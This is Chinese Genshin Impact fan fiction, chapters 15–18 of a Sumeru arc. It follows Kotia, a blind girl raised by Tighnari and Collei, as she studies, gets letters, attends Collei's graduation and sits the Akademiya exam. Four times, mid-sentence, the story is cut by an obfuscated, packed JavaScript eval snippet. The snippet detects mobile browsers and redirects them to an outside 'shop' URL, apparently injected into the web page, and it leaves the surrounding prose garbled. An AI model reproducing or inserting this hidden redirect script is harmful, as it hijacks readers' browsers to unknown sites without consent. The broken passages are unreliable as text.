天才,谁?你吗?你自己怎么不知道? 15. 须弥篇-15 你在妙论派相关知识的学习中可谓是如鱼得水,之前因为学习盲文的时候学了就忘、忘了就学的状态而对自己产生“难不成我真是个笨蛋?”的怀疑也都消失了。是的,诚如你的老师所说,你就是个天才! 就算这样,盲文是你和其他人沟通的一个重要媒介,你还是要学的;明论派依然是你的目标,你是不会因为自己在妙论派更有天赋而放弃明论派的。 你只是在知道原来自己真的不是个笨蛋、用提纳里的话来说是“术业有专攻”后睡觉都安稳了许多,在给柯莱的回信中同样矜持地提到了这件事,并含蓄地表示自己一定会好好努力、争取早日考上教令院和柯莱在同一个地方学习的。什么?柯莱在阿弥利多学院,你在梨多梵谛学院,这不是同一个地方?嗯……都在教令院,怎么不算呢。 * 在珂缇娅开始接受妙论派的测试前,提纳里和这位应约而来的学者之间有过一场谈话。 “你大可放心好了,提纳里。哪怕珂缇娅在摸底考试中的表现很糟糕,看在她父母的份上,我还是会好好教她的。”戴着一副银框眼镜、气质温和的男人对坦言珂缇娅视力上的缺陷并拜托自己对珂缇娅多一点耐心、实在教不下去也提前告知他的提纳里说道。 “不过,提纳里,我倒是想问你一个问题:你觉得珂缇娅这个孩子会被你好好养大吗?”远道而来的文雅学者微笑着提问,嘴角的弧度莫名透出不妙的气息。提纳里对这个问题皱起眉头,他双手抱胸冷淡地回复:“这就不劳你费心了。我相信我和柯莱会好好照顾珂缇娅的。” 提纳里的态度礼貌而疏离,默默地思考这个学者是不是有点问题,要不要给珂缇娅换个老师。提纳里早前认识他的时候他还不是这样的,现在他的身上多了一种平静的疯感,难道是终于在教令院做研究把脑子做坏了吗?如果在珂缇娅面前乱说的话就把他换掉好了。 见提纳里这个态度,这位学者依然保持着微笑没有生气,只留下一句意味不明的话“小孩子可是很任性的。”就施施然地离开,去给珂缇娅做摸底考试了。 被留在原地的提纳里陷入头脑风暴,嗯,继妙论派的基础课程之后,珂缇娅的反诈课程也该安排了,下次化城郭的孩子们接受教育宣讲的时候让珂缇娅也去听一听吧。还有这位学者的话……也调查一番好了。 - 提纳里收到了赛诺的回信。 原来这个学者曾经也有个女儿。只是他早年丧妻,自己一个人抚养女儿长大,而他的女儿在十二岁时因意外失明,十四岁时选择了结束自己的人生,只给他留下一封道歉信。他一下子变成了孤家寡人。 是因为同样是“意外失明的女孩”而对珂缇娅产生移情作用吗?还是因为自己女儿的命运所以认为珂缇娅也会早早地结束自己的生命? 无稽之谈。提纳里面无表情地烧掉了回信,珂缇娅会好好长大的。 ^ 他对自己的女儿是什么感受? 不是不爱,不是不恨。 他无法不爱她,这个他看着一点点长大的女孩,这个曾经架在他肩膀上骑大马、银铃般的笑声传了好远好远的女孩。 他无法不恨她,恨她为什么要以那样惨烈的方式离开,恨她为什么……偏偏要那么早地抛下他。 因爱生恨,恨的同时也在爱着,无法释怀,不愿释怀。 即便是现在,他的眼前也时常会浮现出她的身影,依旧没有一丝变化,依旧会脆生生地喊着他“爸爸”。 看别人时无人不像她,但又清楚地知道无人是她。 疯了吗?也许吧。这个他人眼中一派稳重的男人闭上双眼,也许他早就疯了,自他意识到自己的女儿死去的那一刻起。 * 你不知道提纳里一如往常的包容态度下的考量,也不知道自己的妙论派老师那沉痛的过往,你只是在孜孜不倦地学习着自己能学到的知识,并且相信自己一定会成为一个优秀的明论派学者。 你会成为一个了不起的大人,成为一个像提纳里和柯莱那样厉害的大人。你是如此地相信着这一点。 这天,你跟随妙论派老师的讲解制作零件并用它们拼成模型后,老师笑着说:“做得很好,现在你该去听提纳里的讲座了,不然他就认为是我扣留你了。”老师说着开了个玩笑,你做出来的小钟摆也“叮铃铃——”地在老师话音落下时响了起来。 提纳里特地叮嘱过你,让你一定要好好听这次讲座,说讲座结束了他还会出题考你。虽然这次讲座的主题是“论雨林中可食用的蕈类有哪些及它们的烹调方式”,你对这个主题可谓是满头问号:听了的话,对你来说有什么用呢?你一不会在外面乱摘蘑菇;二不会自己去煮东西,肚子饿了就跟提纳里和柯莱说或者自己拿着零花钱出去买东西吃。主题的前半段和后半段都与你无关。 想是这么想,但既然提纳里开口了,你是一定不能迟到的。你向老师告辞,匆匆来到讲座安排好的小孩子座位上,化城郭其他的孩子也都在这里了。 ……好多人,你好想逃。 “珂缇娅,你来了呀。”“珂缇娅,我这里有枣椰蜜糖,你要吃点吗?”“珂缇娅,你知道提纳里先生这次会讲什么吗?”周围的小孩子叽叽喳喳地开口,他们向你表达着他们的善意。 你一一回应了他们的话语,随后安静地坐在座位上等着讲座开始。 说起来有点好笑,你的身边没有同龄人。朋友吗?可你担心自己会嫉妒着他们的健全,自己会嫉妒他们眼中五彩斑斓的世界。人是不会嫉妒自己的朋友的,那样的你太丑陋了。越是接触,越是会忍不住问:为什么他们可以肆意地奔跑在阳光下,你却不可以? 你可以在日复一日地训练之后像正常人一样地走路,但那是每一步都在疯狂思考判断着周围的情形。你的思考速度跟不上,你的感官捕捉那么多的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|15949978|177514||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 信息。你无法奔跑,无法和他们一样玩着各种各样的户外游戏,捉迷藏还是跳格子?你吗? 你能做的只是待在自己的房间里,日复一日地用自己的双手和脑子去摸索与学习。 你没有把自己的心思告诉任何人。说了又能怎么样?言语是最苍白不过的东西,许下的诺言即便想要遵守,也会因为不可抗力而违约。说了也只能把自己的难过带给其他人,让其他人一起难过。你不要这样。 你想象中的自己是完美的,是即便看不见也依然积极地生活的。你为自己的嫉妒感到羞愧,你觉得自己不完美了。 而在指尖带来的阅读之中,你读到了一句话:“会妒忌、会怨恨,这是很正常的,人生来就有着七情六欲。但我的孩子,人的智慧在于人能掌控自己。你怨恨却不将其发泄在无辜者的身上;你妒忌却保留着对人的尊重,为自己而痛苦却不向他人伸出恶的爪牙。这无疑是一种智慧,你仍享有你的高洁。” 什么算是智慧?科技的进展是智慧,但也是无数人汗水的结晶;社会的稳定能否当作智慧的结果?大字不识一个的人在乱世中存活,他失去了很多,他还是活着,这算是他的智慧吗?一个人找到了让自己的心变得宁静的方法,对他来说,这算不算是一种智慧? 褪去华丽的外衣,智慧的本质是思想的结晶。 …… 你与自己达成了和解。 - 你在座位上听讲座听得昏昏欲睡,忽然,旁边的小孩子推了推你,你一下子就清醒了:“珂缇娅,我们现在该去体检了。”小孩子好心地提醒。 “嗯?哦……好的,谢谢你。”你抬起头对声音传来的方向露出笑容,站起身子,跟着大家去接受来自健康之家的免费体检。 须弥的医疗是免费的,但一开始的时候不是。听说这是因为有一位名叫“桑歌玛哈巴依老爷”的大商人的资助才变成现在这样的。 “听起来是位超级大善人呢。”在提纳里给你介绍须弥医疗免费的原因时,你做出了这样的评价。可惜你的眼睛看不见,你看不到提纳里听了你这句评价后脸上像是生吃了塞有芥末的酸柠檬的表情。 由于柯莱不在,提纳里毫不犹豫地在你面前揭徒弟的短:“再怎么说也是商人,你柯莱姐姐曾经就被推销得差点花了一个月的生活费去买果汁。”之所以是差点,不是柯莱醒悟过来自己不需要那么多的果汁,而是提纳里来了……虽然揭短,但又给柯莱留了点面子的提纳里咽下了后面的话语,只拿这件事来教育你不要偏听偏信。 人是有很多面的。 - 但,一个愿意给国家提供免费医疗的人,总不会坏到哪里去吧?你不知道这个问题的答案,有很多事情,是需要你自己去体会才能明白的。 最后,体检完的你拉着提纳里的衣角回到了家。 又是一天过去,你有没有离自己的目标更近一点呢? 16. 须弥篇-16 你收到了来自莱依拉的信。 出乎意料,信的内容不是弯弯曲曲的缠绕的蝌蚪一样的须弥文字,而是凹凸的许多圆点。 这是用盲文写成的信。 你停下收到信后去找提纳里帮忙读信的步伐,转身回到自己的书桌前坐下,开始伸出手去读这封意料之外的来信。 信的开头,那位把你从坑底抱出来的温柔姐姐“说”她是从柯莱姐姐那里拿到给你寄信的地址的,希望没有太过突然而吓到你。下文是听说你打算报考梨多梵谛学院,那她就是你未来的学姐啦,她很期待,并相信你一定可以的。信的结尾,莱依拉希望你平安喜乐。 呜……这封信对你来说确实有点突然,你感觉自己的眼眶有点湿润。怎么形容这种感觉呢?就好像一个布娃娃,因为意外而掉到地上变得灰扑扑的,这时有人把它捡起来为它拍去尘灰,它重新变回了一个干净漂亮的布娃娃。变得干净的布娃娃以为只有捡到它的人才会看到它,却意外发现有其他人也发现了它还真心实意地夸了它一顿的那种感觉。 原来不止爸爸妈妈、不止柯莱和提纳里,不止是家人,还会有其他人会看到你啊。还会有其他人看到“珂缇娅”啊。 你好感动。 感动的你再度燃起了学习的斗志。你一定可以考上梨多梵谛学院的!到时候不仅要把这个好消息分享给柯莱姐姐和提纳里,还要告诉这位莱依拉姐姐。决定了,要早点把自己的“辅助占象仪”做出来才行。 - 诚如你的妙论派老师所说,你在这方面有着得天独厚的才能。 失去了视力的辅助,你却能在把所有的零件摸上一遍后就分清它们的不同与用处,通常老师授课到实践的部分时,老师说到哪里你手上的动作就跟到哪里,成品也丝毫没有瑕疵。 这时的你让人完全看不出你的眼睛竟是有问题的。你就如同一位女王回到了自己的国度一般无比从容。 妙论派的课程,你都能很好地掌握,只除了画图。 说真的,你觉得这不能怪你。 你确实有认认真真地画图,也确实有根据自己的图纸来进行拼装。只是可能是因为画图时你手里握着的是普通的纸和笔的原因?你很难准确的定位;后来老师给你换了类似沙盘的作画工具,每一笔皆有可触摸与感知的痕迹,你仍然画的不尽如人意,这让你的老师很是摸不着头脑:“不应该啊。怎么会这样呢?” 熟络后知道你一心想着进入梨多梵谛学院而不是刹诃伐罗学院的老师不客气地点评:“你的成品让你可以拿到一个很棒的分数,但你的图纸让你连参加考试的资格都拿不到。” 对此,你:…… 这不是,能用就行了嘛。 但自己切实制作一个存在于自己想象中的器具是不一样的。和课堂上亦步亦趋的操作完全不一样。 这是一种从无到有的创造,每个零件的作用与意义都将由你赋予。你必须足够明确你的目的并始终清醒地知道自己现在做的这一步与最终的结果之间的关联。 你需要大量的练习,大量的测试,还有大量的样本。 如何将不同的仪器上的数据转换成你能够理解的数据的这一个问题,相当于如何获得仪器上的数据、如何转换、转换的结果如何显现等好多个子问题。 肉眼可见的不轻松,但你会把它们一一解决掉,你会进入梨多梵谛学院。 - 你伏桌学习,学得太过投入以至于脱离学习时会有一种晕厥感,仿佛脑子在旋转。但这种情况一般不会持续太久,等一阵子就好了。 你觉得这没什么,要学的东西还有那——么多呢。不过提纳里得知后要求你适度休息,为此甚至能让你摸他的尾巴,还向柯莱姐姐告状。 你屈服了。虽然整天的日常就是学习,但是早上会起来按着兰百梨迦教的锻炼、晚上会按时睡觉,每学习一段时间后还会有休息时间,每天过得规律又健康。 * 提纳里想要治好珂缇娅的眼睛。 这和柯莱的魔麟病不同,魔麟病归根结底和死域一样都是世界树的病灶,不只柯莱的身上会出现黑色的鳞片状的问题,还有许多同样的病人。即便无法解决,提纳里起码知道原因,并通过自己的努力与智慧找到了缓解病痛的方法,虽然没有好转,至少不会恶化。 而魔麟病在旅行者到来并解救神明后更是被解决了,柯莱与无数受魔麟病困扰的人如重获新生。 可珂缇娅的眼疾不同,不知成因、没有多余的样本,它就静静地存在于珂缇娅的身上。 是提纳里感知到的与死域类似的力量的原因吗?不知道。珂缇娅的眼睛会随着时间好转吗?不知道。会被什么东西诱发以致于恶化吗?不知道。 通通不知道。 珂缇娅的父母离世的那天,发生了什么才会让珂缇娅走失到市集上?是什么让珂缇娅在这个过程中失明?提纳里想要知道。 尝试过询问珂缇娅,没有得到有用的信息;尝试过在实际那边调查,也没有发现什么线索。一无所知的提纳里只能根据珂缇娅表现出来的样子猜测,尽管想要解决这个“果”,他只能由果推因。 提纳里拿着珂缇娅的体检报告没有发现异常,和普通的人别无二致,或者说对比来看珂缇娅还要健康不少。 有的时候,没有异常才是最大的异常。 直到一天做梦,提纳里梦到了小吉祥草王大人。全知全能的神明会知道珂缇娅的问题吗?他向纳西妲发问。善良的小吉祥草王为提纳里拨开迷雾,她告诉提纳里:珂缇娅在出生的时候身体就被死域浸染,而她送去了神力,死域之力和神力之间形成了动态的平衡,相安无事,这是珂缇娅能平安长大的原因;而父母出意外的那天珂缇娅也在场,驮兽队伍中混杂了拥有邪眼的人,邪眼的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|15949979|177514||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 力量与珂缇娅体内的死域之力共鸣,共鸣的结果是珂缇娅的失明。她是父母发现驮兽即将撞过来的时候被抛离现场的,抛物线的落点刚好是市集附近,最后被柯莱和提纳里发现。 事情由此闭环。 “那么,草神大人,我想知道用草元素力灌到珂缇娅体内的话,她的眼睛能够再看见吗?”提纳里提出了大胆的猜想,如果说失明的原因是死域之力与邪眼之力的共鸣,那么加入新的草元素力能否把那部分的共鸣给对冲掉? 猜想可以大胆,论证必须谨慎,提纳里只是想知道这能否作为一个研究的方向。 很遗憾,有着白绿色单边马尾的纳西妲神情严肃地否决了提纳里的猜想:“这不是做面包,可以水多了加面粉、面粉多了加水那样。实际上共鸣后膨胀的死域之力会使得神力也跟着膨胀,现在的它们还是在动态平衡着的,失明是还没平衡时留下的产物。就像一个人在回家的路上因为肚子饿了,于是他吃掉了哈瓦玛玛兹,等他回到家吃饭的时候被吃掉的哈瓦玛玛兹也不会回来。” “如果这种平衡再度被打破,结果可能不会是我们所希望的那样。”小小的神明如此告诫这位为了捡回来的孩子担忧多日的狐耳少年:“不过,不出意外的话,珂缇娅的情况不会再恶化的。”事实上,纳西妲能够理解提纳里的忧虑从何而来,他只是因为看不到标签,把一件“已完成”的事情当成了“进行中”的事情。 得到草神大人的回复后,提纳里恢复了往日的生活。 从始至终珂缇娅都不知情,她看不见提纳里脸上的忧愁,她听不出提纳里声音里的犹豫,她适应着一片漆黑的世界,她努力地在偏转的人生中前行。她不需要知道提纳里想让她重见光明又没有成功。 这就是提纳里想要看见的。一个好好开启自己新人生的珂缇娅不需要被他所谓的“好意”而经受希望又一次次失望的历程。 好好长大吧,珂缇娅。 …… 什么,担心他会因为想让珂缇娅的眼睛恢复而误入歧途?嗯……怎么说呢,只是觉得那双眼睛很漂亮,再灵动一些也许会更好吧。不过,主动权始终掌握在珂缇娅的手里。 提纳里不会以爱为名、以“这样是为你好”为理由逼迫别人遵从自己的安排,无论是柯莱还是珂缇娅。 他也不会做出违法乱纪的事情,一是被殃及的生灵是无辜的,它们不该成为他的私心的牺牲品,提纳里做不出这种事;二是他的朋友、他的父母、还有柯莱和珂缇娅,他们都会伤心的,提纳里不是这样不负责任的家伙。 提出那个问题,也只是因为提纳里自己就有草元素的神之眼,想着给珂缇娅弄一点草元素力结晶会不会好一点而已。 既然如此,提纳里决定好好地给自己做一次尾巴护理。嗯,顺便给珂缇娅买点墩墩桃吧,她好像很喜欢。柯莱也是,等他回来时做一份杂菇荟萃给她好了。 17. 须弥篇-17 你学得昏天黑地,学的不知天地为何物,终于把第一个辅助占象仪做了个初版出来,还没来得及再改,就被告知:柯莱要毕业了。 你:啊? 众所周知,占星的仪器有很多,根据它们的不同,你要能够做出的辅助工具也有很多。而占星仪器的精细程度同样会体现在你的辅助工具上,意思就是你的辅助占象仪不仅需要能用,还需要把这种精细程度同样实时地呈现出来。你仍需要千百次的锤炼,如同万丈高楼起于平地,你现在就是刚打了个地基。 以上都不重要,你只是想问一句,为什么你不知道柯莱要毕业这件事哇? 虽然你学到连饭都不陪着提纳里一起吃,而是自己端到房间里边吃边画图搭模型,但是你还是这个家里的一份子啊!这种柯莱姐姐的人生大事你都没收到通知,你怀疑自己被孤立了! 你把自己的想法大声地对着前来询问你要不要去须弥城参加柯莱毕业典礼的提纳里说了一遍,得到了提纳里虚着眼的答复:“所以你去不去?不去的话我拜托拉娜给你带饭,去的话现在就出发。” 去的话肯定是要去的,你叽叽咕咕地跟在提纳里身边踏上前往须弥城的路,问他为什么都不告诉你柯莱要毕业。 - 提纳里是一个对待学术很纯粹的人。曾经在教令院里学习的他在大多数人都留在教令院继续继续做学术的时候选择了前往化城郭做巡林员,因为这里靠近道成林,因为这里有生论派还无法解决的死域,因为这里有需要帮助的人。有的巡林员是因为不知道怎样算是更有效的应对死域的方式才受了更多的伤。提纳里想要帮助他们,也想切实地研究如何解决死域,所以在自己的导师也不看好的情况下,他来了。 他把自己的论文写在了土地上。 这样的提纳里不会赞同知识有高低贵贱之分的说法,也不会认为只有学者才配获得知识。智慧与知识只是手段,让人们过上更好的生活才是目的,提纳里是这样认为的。 因此,由于柯莱的到来,提纳里从善如流地购入了少年心理学等一系列养孩子相关的书籍。多了个珂缇娅之后,提纳里买的书更多了。 书上说珂缇娅这种情况是正常的,常年闷在屋子里以至于倾诉欲会向着亲近的人宣泄。提纳里能够理解,他会鼓励珂缇娅去和其他人交流,也会包容珂缇娅见到陌生人想要退缩的心理。 只是……提纳里痛苦面具:叽叽喳喳的珂缇娅好吵啊,有没有谁能救救他的耳朵?! 问问问,是他之前没说吗?每次跟她说的时候珂缇娅都一心多用,边听边忙地“嗯嗯啊啊”地回复,态度极其敷衍。要不是看珂缇娅自己忙得长出黑眼圈还要抽空敷衍他,提纳里也不会心软地想着按下不表,给珂缇娅多点时间好有空休息,而是非得按着珂缇娅的脑袋让她明白什么叫大家长的威严不可。 现在理直气壮地给他整这死出,提纳里冷酷一笑,伸出手拍了拍珂缇娅的脑袋:“要不要吃帕蒂沙兰布丁?”不过是在撒娇罢了。 - 提纳里没有给你解释,可是他问你吃不吃帕蒂沙兰布丁欸。 仔细想想按你之前的状态,可能提纳里说了你也不知道,他还带你来参加柯莱的毕业典礼,甚至提出要请你吃布丁。你决定愉快地揭过这一茬,并掏出自己的零钱包表示:“我买单。你还有什么想吃的吗?一起买了吧。” 得益于你的天赋,你学习的时候解闷做出的小模型小摆件都卖了出去,虽然数量不多啦,但是请提纳里和柯莱姐姐吃顿饭还是够的。 嗯,给提纳里买点树王圣体菇和月莲也可以。 起初的你得知提纳里喜欢吃素的时候你真的很茫然,就,吃菜,都是绿色叶子的菜,植物,还有蘑菇,真的能吃饱吗?那时的你以为是因为家里多了个你搞得提纳里都吃不起肉了,惴惴不安了好一阵子每天都想着要不还是走吧、起码这样提纳里还能吃肉。结果发现提纳里不吃肉单纯是因为他不喜欢吃肉……家里的财政情况很健康,多养一个你完全没问题。 提纳里发现你好像总是在担心什么、吃饭也不积极,于是追问出了这个的时候真是啼笑皆非。提纳里表示,他有很多的论文,也有好好工作,你不用担心那么多。他真的只是不喜欢吃肉。 听了解释后的你还是内心里充满了怀疑:怎么会有人不喜欢吃肉呢?吃菜又不能吃饱。最后发现提纳里也不是完全不吃肉,只是相对来说更喜欢汁水丰沛的蔬菜和蘑菇,做成的菜也不喜欢放太多调料,更喜欢它们的本味。 而须弥是一个做菜会放致死量香辛料的国家。你是土生土长的须弥人。你最后是抱着一种奇异的“他都这样了,我就让让他吧。”的态度没有继续把自己碗里的肉递给提纳里。 现在的你对提纳里的这种爱好又有了新的解读:不喜欢吃肉怎么了?提纳里这合法合规!而且这样的话,你们都不用担心自己吃太多以至于对方吃不饱,是非常完美的解决方式! - 你们买了帕蒂沙兰布丁,还买了蔷薇奶糊去看望柯莱。 帕蒂沙兰布丁和蔷薇奶糊都是与花相关的甜品,充满花的香味,因为制作过程中加了牛奶,品尝的时候口感也很丝滑,是你很喜欢的甜点,你觉得自己百吃不厌。 * 到达目的地,柯莱已经在等你们了。 你牵住柯莱的手,并仰起自己的脸贴了贴柯莱俯身凑过来的脸颊:“柯莱姐姐,恭喜你呀。我给你带了蔷薇奶糊哦。”你听说柯莱姐姐毕业之后会回到化城郭,成为一名正式巡林员,彻底摘掉之前贯在前面的“见习”名头。 你知道柯莱姐姐为了实现这个目标花了很多的心思。柯莱姐姐已经进入她人生中新的阶段,那么,你也要 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|15949980|177514||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 开始准备考教令院才行。刚好,等你考上的时候柯莱姐姐已经回来了,这样你走了之后提纳里身边也不会没有人陪。 对于提纳里不会成为孤寡老人的这一事情,你感到无比欣慰。 哼哼,以后就是你养柯莱姐姐和提纳里啦。 - 你把自己的打算说给了柯莱姐姐听,当然,只有前面的“开始准备考教令院”这段,后面关于提纳里与孤寡老人的这段说了就会被敲脑袋这点你还是懂的。 大人好像都不喜欢被提及自己的年龄呢。对此,你怜爱地选择纵容。 在你东想西想的时候,柯莱把你抱进了怀里,仿佛她从来没有离开过,熟悉的气息再度包围了你,你听到柯莱的声音在你的耳边响起,轻轻柔柔的,带着一丝笑意:“我相信珂缇娅会考上教令院的。不过别忘了,珂缇娅,化城郭永远是你的家。要是进入教令院之后感到累了的话,你随时可以回来。” 你脸红了。什、什么嘛,你才不会好不容易进了教令院之后就开始嫌累呢。不过……喜欢。 喜欢柯莱和你说话的语气,喜欢柯莱话语里对你的关心,喜欢你们三个又重新聚到一起。 有那么一瞬间,你觉得这个教令院不去也罢,你可以就待在化城郭里和柯莱、提纳里他们过一辈子。 ……不过也只是一瞬间而已,你还是为了考上梨多梵谛学院花了很多时间准备的,头顶的这片星空,也还是对你有着很大的吸引力。 星星在旋转的时候,会想些什么呢? * 不同于在那边傻乐的珂缇娅,提纳里听出了柯莱话里的深意。还没参加教令院的入学考试就先提前想好后路,这不像是柯莱。 之后再问她吧。起码今天,是柯莱人生中重要的日子。 - 柯莱希望珂缇娅能够永远快乐。这和她希望化城郭能永享安宁、提纳里师父能诸事顺遂的心是一样的。 由于珂缇娅的关系,梨多梵谛学院的莱依拉时常会和柯莱联络,得知珂缇娅想考明论派之后还热情地给她推荐适合珂缇娅看的书。而前段时间,莱依拉传来了一个消息,梨多梵谛学院有位贤者也很关注珂缇娅,而他关注珂缇娅的原因是珂缇娅的父母曾经结下的恩怨。 柯莱不能保证这位贤者的行事与作风不会伤害珂缇娅。即使已经过去了好几年,珂缇娅在柯莱的眼里还是当初那个躲在铁杆后面颤抖的满眼害怕的孩子。不过,正常的学术生涯是珂缇娅应该拥有的,她不能因为自己的担忧而拘束了珂缇娅的自由,说不定没有她想的那么坏,说不定什么都不会发生呢? 只是啊,珂缇娅,当你离开了她和提纳里师父的身边,别忘了你随时可以跟他们诉说你的经历,好的不好的全都可以,只要是你的经历;别忘了你随时都可以回来。 他们永远等你回来,珂缇娅。 18.须弥篇-18 柯莱毕业后没多久就是教令院的入学考试,你决定参加这一次的入学考。你想看看自己能不能一次过。 应该能的吧?你不太确定,毕竟你也是第一次考教令院,不过就算没有过,你也还可以明年再来,只要你还想考。虽然你觉得自己的努力不会白费,但是万一打了包票却没兑现就会很丢脸,你焦虑地开始给打算留下来陪你参加考试的柯莱和提纳里打预防针。 “那个、教令院可能不太好考,所以要是我没有考上的话也不可以笑话我哦。”你端着严肃的脸对他们说。 柯莱和提纳里对你这番话的反应都不一样。 提纳里拍了拍你的脑袋以示安抚。 柯莱的反应是:“欸?不会笑话珂缇娅的,不管有没有考上教令院,珂缇娅都很棒的。”说着和你热情贴贴。有段时间没看到你,柯莱总觉得你好像瘦了。 呜……有的时候你会觉得柯莱就像是你的全肯定自动夸夸机一样,无论是她说的话还是她的动作,都无一不向你展示着她对你的爱。如此直白的、不带条件的爱,仿佛只要你开心她就不会干预你的人生。可,也正因为这样,你才不想失败啊。 你想要考进教令院,你想要实现关于星空的梦想,你想要在大事小事中都显得游刃有余,你想要成为他们的骄傲。 - 教令院的考试没有你以为的那么难。 事实上,你此前的知识储备已经足以覆盖这次的考试。而至于眼睛有疾的人如何参加考试,因为提前报备了,教令院这边给你安排了全盲文的卷子。 听说以前身体有这种缺陷的人是无法参加考试的,但是在某任代理大贤者就任期间,一位文弱的学术分子推动了只要想参加考试、那就可以参加,能否进入教令院只看你能否通过考试的政策落地。这项政策一经推出,当即引起了很大轰动。对此,给自己的提议审批通过的某位代理大贤者冷酷表示:“身体的缺陷不应成为知识的壁垒。如果因为担心教令院的所谓‘知识的殿堂’这种名号的纯洁性而把有能力的人拒之门外,教令院还不如就此倒闭。”(注1) 据说这位文弱的学术分子也曾参与旅行者解救小吉祥草王大人的行动,他的能力被神明看在眼里,于是他升职了。而即便对这位代理大贤者的言论有很大意见,看在他的职位、小吉祥草王的颜面、还有代理大贤者本人身上结实的肌肉的份上,大家最后还是睁一只眼闭一只眼。 听闻这件事的时候,你的关注点一下子歪了:结实的肌肉?难道这位学者也像提纳里一样有类似巡林的工作吗?你这样想着,也这样问了出来。而因为你问起你真的能参加教令院考试吗这种问题,才把这段往事翻出来安你的心的提纳里想了想那位原职是进行会议记录的大风纪官的文弱学术分子,言简意赅:“没有,他原本的工作也在教令院,是做会议记录的。不过据说他和赛诺曾经在阿如村打过一架,打的有来有回。” 赛诺你是知道的,于是你发出了对这位学者武力的赞叹:“哇!” 这件事以你安了心确定自己能参加考试而告终。不过你始终不明白,为什么你发出赞叹之后提纳里会敲你的额头让你“小心艾尔海森”?艾尔海森又是谁呢,你也不认识啊,听故事时就没想起问那位代理大贤者叫什么的你百思不得其解。(注2) - 回到现在,你原本以为自己可能会很紧张,实际上你只是很平静地顺着指引来到你要进行考试的房间门前。在你要推门进去的时候,你听到一个陌生的、上了年纪又中气十足的声音对你说:“来到这里,你要好好考。”别堕了你父母的名头。 你听不出这人的言下之意,还有点纳闷这人为什么要跟你搭话?难道是教令院的什么指标?于是,你嘴上回了句:“我会的,谢谢。”也没等回应直接推门而入。 试卷上的题目你大多都接触过,有少数题目经过了变形更加刁钻,你面不改色地一道一道往下做,会的就做,不会的再说;到了这种时候,急也没有用。 你感觉你今天的状态出奇的好。饶是如此,你在考试结束离开考场的时候还是不由脚下一个趔趄,脑袋也有点晕眩。大概这就是精神高度集中的状态过后的负面反应吧。 你想吃柯莱做的口袋饼了。 * 门口处,柯莱和提纳里都在等你。 你走到他们的面前扬起笑脸:“现在,我们可以一起回家啦。”你想的是,柯莱参加完毕业典礼,你考完试,等价于你们在须弥城没有事情要做了,等价于你们可以回化城郭了。 柯莱想的是,她参加完毕业典礼,珂缇娅考完试,等价于她们有空去玩了。 * 学者这种生物,没有说毕业了就与课题再无关系的说法。只要你还是学者,就算七老八十了也还是要做课题写论文,排除会被风纪官肃正司法的学术不端行为,做课题可谓是对所有人都一视同仁。由此可得,柯莱毕业了也不一定意味着她的课题就都结束了。 现在,柯莱的手上还有着一个需要到沙漠实地调研的课题,她打算在入职巡林员之前把这个课题给结题了。 既然要去沙漠,珂缇娅也没有去过沙漠呢。柯莱心念一动,正好这个课题不算很辛苦,她完全可以把珂缇娅带到沙漠中的阿如村里,白天她去做课题,晚上就能陪珂缇娅四处逛逛。 她还能带着珂缇娅去摘仙人掌上的赤念果和树上的枣椰,柯莱狠狠地心动了。 - 此时畅想着和珂缇娅的美好沙漠之旅的柯莱完全没有意识到,这个计划根本没有把去了沙漠就会缺水变成狐狸干的她的师父提纳里考虑在内。 * 你的话语和柯莱脱口而出的“珂缇娅,我们一起去沙漠吧!”撞到了一起。你们面面相觑。 你:欸?什么时候说过要去沙漠吗?不过要去的话也不是不可以啦。 柯莱:什、什么?原来珂缇娅是想回 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|15952939|177514||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 家的吗?! 现在的情况是你在疑惑之后说服了自己,柯莱大惊失色,洞察了一切的提纳里则是疲惫一笑:要不,还是让她们两个去沙漠吧。 养完柯莱养珂缇娅的提纳里觉得,自己应该过上几天没有孩子的日子:) - 提纳里最终还是对自己两个要出发去沙漠孩子仔细叮嘱了一番。“如果遇到什么麻烦的话,随时可以给我写信。”他会很快赶过去的,即便没有说出来,提那里青玉般的眼睛里很明显地写着这样的话语。 